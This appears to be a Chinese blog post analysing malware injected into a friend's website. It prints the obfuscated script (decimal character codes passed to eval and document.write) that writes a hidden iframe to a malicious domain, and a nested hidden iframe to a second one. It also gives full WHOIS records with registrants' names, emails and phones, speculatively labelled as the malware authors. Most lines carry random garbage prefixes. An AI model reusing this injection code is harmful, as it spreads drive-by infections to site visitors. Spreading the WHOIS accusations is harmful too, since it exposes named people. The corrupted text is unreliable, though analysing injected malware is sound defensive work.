首发在我的博客里面，
".*a) x0AqhT5} http://www.areway.cn/?p=175 (F4d Fh f//j{P[ z$8e6 * 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
5W:Gl?$S} b3y,4ke" <script>t=’60,105,102,114,97,109,101,
~,M;+T}[r 32,115,114,99,61,104,116,116,112,58,47,47,
Kc-A-P &Ry 102,114,101,101,46,117,45,117,117,117,46,99,
o%N0K 110,47,101,114,114,111,114,46,104,116,109,
I49= ozPP 32,119,105,100,116,104,61,49,48,48,32,104,
n41\y:CAo 101,105,103,104,116,61,48,62,60,47,105,102,
^,ZvKA"}+/ 114,97,109,101,62′;
ya*q; D t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
btB(n<G2# K_<lO,[S <script>t=’60,105,102,114,97,109,101,32,115,
Bc d0 114,99,61,104,116,116,112,58,47,47,102,114,
>gS5[`xRE 101,101,46,117,45,117,117,117,46,99,110,47,
;k63RNT,M& 101,114,114,111,114,46,104,116,109,32,119,
]
fwTi(4y 105,100,116,104,61,49,48,48,32,104,101,105,
pO 7{3% 103,104,116,61,48,62,60,47,105,102,114,97,
4/mj"PBKL 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
f4aD0.K.g| document.write(t);</script>
F_M~!]<na mXN1b! <html xmlns=”
=E6i1x%j http://www.w3.org/1999/xhtml yo Q?lh “>
wZ\e3H z <head>
VW<" c 5| <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
]>S$R&a <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
H pjIp. <title>首页 - 爱生活家庭网
644hQW&W AIR VvW~($ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
zvQ^f@lq2 转换字符串后的大概内容是（谁点击后果自付）：
Sj]T{3mi <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
/K Jx n6 !~$ YD*" S 查询玉米u-uuu.cn的详细信息：
3Oig/K Z Domain Name: u-uuu.cn
Yf2+@E ROID: 20070901s10001s64972306-cn
7K5o"
" Domain Status: ok
=-1^ K Registrant Organization: 王雷
WSpg(\ Cs Registrant Name: 王雷
(>Q9jNW Administrative Email:
czlovexs@126.com 6Kv}2M')+ Sponsoring Registrar: 北京万网志成科技有限公司
Q+%m+ /Zq Name Server:ns.yovole.com
~1wdAq`'a Name Server:ns1.yovole.com
>FMT#x t Registration Date: 2007-09-01 17:54
J?,!1V = Expiration Date: 2008-09-01 17:54
5)SZd) 最后PING了一下地址 都没有什么….
n 9-q5X^e> 2YP"nj# 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
@ T~#Gwv <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
7 gR; <script language=”javascript” src=”
l.NkS http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script |2t7m at >
qeO6}A"^| 这个玉米应该有可能是木马作者的：
%Cbc@=k foafau.info的详细信息：
uK&wS #uY Access to INFO WHOIS information is provided to assist persons in
<K.C?M(9 determining the contents of a domain name registration record in the
ZZ.0' Afilias registry database. The data in this record is provided by
krnk%ug Afilias Limited for informational purposes only, and Afilias does not
d W=D] guarantee its accuracy. This service is intended only for query-based
{i7Fu+xZj access. You agree that you will use this data only for lawful purposes
nY5n %>8 and that, under no circumstances will you use this data to: (a) allow,
LXLIos55S enable, or otherwise support the transmission by e-mail, telephone, or
< 0,ah4C facsimile of mass unsolicited, commercial advertising or solicitations
'y@ 2,9v to entities other than the data recipient’s own existing customers; or
m*Lv,yw %a (b) enable high volume, automated, electronic processes that send
!+26a*P queries or data to the systems of Registry Operator, a Registrar, or
[XU{)l Afilias except as reasonably necessary to register domain names or
u>i+R"hi" modify existing registrations. All rights reserved. Afilias reserves
H|Fqc=qp the right to modify these terms at any time. By submitting this query,
/ Geks/ you agree to abide by this policy.
Qmc; s{-r; Domain ID:D22418703-LRMS
@v-)|8 GdY Domain Name:FOAFAU.INFO
X=c
,`&^ Created On:20-Nov-2007 16:05:42 UTC
m=y,_Pz>U Last Updated On:20-Nov-2007 16:05:44 UTC
T[$hYe8%^ Expiration Date:20-Nov-2008 16:05:42 UTC
$^+KR]\q Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
z?) RF[ Status:CLIENT DELETE PROHIBITED
*$Wx*Jo Status:CLIENT RENEW PROHIBITED
$X\`
7`v Status:CLIENT TRANSFER PROHIBITED
63dtO{:4 Status:CLIENT UPDATE PROHIBITED
2Z9gOd<M~ Status:TRANSFER PROHIBITED
@aPu}Hi Registrant ID:GODA-040110615
n~>CE "q Registrant Name:liu hong
~aq?Kk Registrant Organization:
+nyN+X34B Registrant Street1:beijing
y8 WXp _\ Registrant Street2:
`::(jW.KO Registrant Street3:
; dHOH\,: Registrant City:beijing
iKEKk\j-w Registrant State/Province:
L"vG:Mq@D Registrant Postal Code:100000
^)P5(fJ Registrant Country:CN
&/#Tk>: Registrant Phone:+86.860108888777
i^V4N4ux] Registrant Phone Ext.:
'*{Rn7B5 Registrant FAX:
xbH!:R; Registrant FAX Ext.:
$8 ww]}K Registrant Email:bbbshiji@163.com
A5H8+gATK Admin ID:GODA-240110615
VS@W. 0/ Admin Name:liu hong
c68$p gG Admin Organization:
RknSWuFKt Admin Street1:beijing
Gqz)=' Admin Street2:
J< :D~@q q Admin Street3:
:bF2b..XOu Admin City:beijing
%|6Q7'@p Admin State/Province:
7 z0 uj Admin Postal Code:100000
WMRgf~TY=2 Admin Country:CN
~Wd8>a{w Admin Phone:+86.860108888777
hD.wKX?oO Admin Phone Ext.:
?j$8Uy$$ Admin FAX:
ump:dL5{ Admin FAX Ext.:
?;7>`F6ld Admin Email:bbbshiji@163.com
f7AJSHe Billing ID:GODA-340110615
yW,#&>]# | Billing Name:liu hong
O
NzdCgY Billing Organization:
Dq1XZ%8 Billing Street1:beijing
^>}[[:( 6/ Billing Street2:
[67f; ?b Billing Street3:
hr"+0KeX Billing City:beijing
ZjbG&o c Billing State/Province:
uC ;PP=z Billing Postal Code:100000
q@yabuN@,j Billing Country:CN
_I"<?sh 3 Billing Phone:+86.860108888777
r\- k/ 0 Billing Phone Ext.:
0lq4 Billing FAX:
}@0. Billing FAX Ext.:
ZaV66Y> Billing Email:bbbshiji@163.com
!_z>w6uR
Tech ID:GODA-140110615
n{NgtH\V Tech Name:liu hong
@{GxQzo Tech Organization:
Gkvd{G?F Tech Street1:beijing
Q 6<Uui w Tech Street2:
> l*9DaZ Tech Street3:
eeR@p$4i Tech City:beijing
e$|)wOwU Tech State/Province:
f e`G^hV Tech Postal Code:100000
i]WlMC6 Tech Country:CN
HSFf&|qqx Tech Phone:+86.860108888777
gG> ^h1_o~ Tech Phone Ext.:
?PtRb:RH t Tech FAX:
! { aA*E{ Tech FAX Ext.:
3$f5][+U Tech Email:bbbshiji@163.com
/'^>-!8_1 Name Server:NS27.DOMAINCONTROL.COM
T:5%sN;#O Name Server:NS28.DOMAINCONTROL.COM
siZ _JJW Name Server:
B{7/A[$%C Name Server:
Mp}NUQHE Name Server:
1M FpuPJ k Name Server:
jmVy4* P_ Name Server:
jJC( (1| Name Server:
p%_
:( Name Server:
nezbmpL 4 Name Server:
;XuE Mq,Di Name Server:
6u3 (G j@ Name Server:
&Y2P! \\2 Name Server:
X,CF Y >5W"a?( 接着下载每个文件里面的代码：
UwT$IKR 一步一步看..
`;GGuJb \ 
?2>v 5p 
Av4E ?@R 
mQuaO#
I, 
[)c |oh% 
4=cq 76 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
